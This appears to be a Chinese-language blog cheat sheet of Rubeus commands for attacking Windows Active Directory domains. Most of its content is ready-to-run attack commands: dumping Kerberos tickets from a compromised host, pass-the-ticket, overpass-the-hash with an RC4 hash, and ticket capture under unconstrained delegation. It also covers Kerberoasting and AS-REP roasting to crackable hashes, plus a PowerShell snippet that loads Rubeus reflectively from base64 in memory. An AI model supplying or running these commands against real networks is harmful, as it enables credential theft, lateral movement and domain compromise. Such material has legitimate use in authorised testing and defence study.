跳到主要内容

Rubeus 命令总结

囊空恐羞涩,留得一钱看。

导航


0、前言

Rubeus 是一个专注于原始 Kerberos 交互和滥用的工具,虽然其命令复杂且使用体验远不如 impacket 工具集,但在域渗透中它仍是一个不可或缺的工具【尤其是它的票据提取功能】。这是因为在使用 impacket 等远程利用工具的前提是需要先拥有一个域用户凭据或票据,而更多时候我们可能只是取得了目标网络某台域主机的 shell,却并不能够知晓当前用户的密码,这大大限制了使用 impacket 等远程工具对域进行枚举。

而为了应对这种情况,我们可以借助 Rubeus 的票据提取功能,先导出当前 shell 中的用户票据,然后再对票据进行 kirbir 转 ccache 处理,最后就可以提供给 impacket 等工具进行使用了。【注:也可以使用该票据去创建一个机器账户,这样便有了一个用户凭证。】

注:在域渗透中,支持票据认证的远程枚举工具:impacket、nxc、pywerview。

1、票据管理

#(1)导入票据【注:票据被导入到了内存中,故所有 cmd 会话均可使用该票据。】
Rubeus.exe ptt /ticket:user.kirbi

#(2)列出票据
Rubeus.exe klist

#(3)以表格的方式列出票据
Rubeus.exe triage

#(4)清理票据【注:清理命令执行之后,并不会立马就生效,还需要等 1 分钟左右票据才会失效。】
Rubeus.exe purge

#(5)查看票据详情
Rubeus.exe describe /ticket:user.kirbi

#(6)票据续期【注:续期旧票据之前,必须确保旧票据还在有效期内,否则无法成功。同时,如果票据还没快到期,那么这条命令是不会产生续期动作的。】
Rubeus.exe renew /ticket:test.kirbi /outfile:test.kirbi

2、票据提取

#(1)转储当前登录会话缓存中的票据【注:这里边的 TGT 票据可能会不成功,但 cifs 票据多试几次似乎可以成功。应用过程与下面一样。】
Rubeus.exe dump /nowrap >ticket.txt

#(2)转储当前登录会话缓存中有效的票据
Rubeus.exe tgtdeleg /nowrap >ticket.txt

#应用过程
echo -n 'ticket.kirbi 的 base64 字串' | base64 -d - > user.kirbi

impacket-ticketConverter user.kirbi user.ccache

impacket-net -k -no-pass -dc-ip 192.168.56.50 -target-ip 192.168.56.50 test@dc2012.skylark.com user -name admin

#(3)票据监听捕获【注:需要拥有本地管理员级别的权限才能够运行,它可以实时监测本机有关票据请求的情况,当目标机器存在非约束委派时,该命令很有效。】
Rubeus.exe monitor /interval:5 /nowrap

#应用捕获票据的过程和上面一样。

TGT 票据和 TGS 票据的辨别:TGT 的 ServiceName 值的格式是 krbtgt/SKYLARK.COM 的,而 TGS 的 ServiceName 值的格式是 cifs/dc2012.skylark.com 的。

3、票据请求

#(1)以账户密码的方式请求 TGT 票据,并导入到当前会话
Rubeus.exe asktgt /user:test /password:password@123 /outfile:test.kirbi /ptt /nowrap

#(2)以密码哈希的方式请求 TGT 票据
Rubeus.exe asktgt /user:test /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

#(3)请求 TGS 票据步骤如下:
#(3.1)首先,生成一张 TGT 票据
Rubeus.exe asktgt /user:test /password:password@123 /outfile:test-tgt.kirbi /nowrap
#(3.2)然后,拿着上面生成的 TGT 票据去请求 rc4 加密算法的 TGS 票据。
Rubeus.exe asktgs /ticket:test-tgt.kirbi /service:LDAP/dc2012.skylark.com,cifs/dc2012.skylark.com /ptt /enctype:rc4 /outfile:test-tgs.kirbi

4、委派滥用

待定...

5、烘烤攻击

#(1)查看可 kerberoast 的用户数量
Rubeus.exe kerberoast /stats

#(2)导出可 kerberoast 的哈希【注册 SPN 的用户】
Rubeus.exe kerberoast /outfile:hashes.txt

#(3)导出可 asreproast 的哈希【关闭预认证的用户】
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

6、杂项

#(1)创建一个新的cmd 窗口,并为其注入票据【未成功】
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:user.kirbi

#(2)计算 RC4 格式的密码哈希
Rubeus.exe hash /password:Password123!

#(3)计算多种加密格式的密码哈希
Rubeus.exe hash /password:Password123! /user:user /domain:skylark.com

PowerShell 下关于 Rubeus 的别样调用方式:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt

$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

[Rubeus.Program]::Main("dump /user:administrator".Split())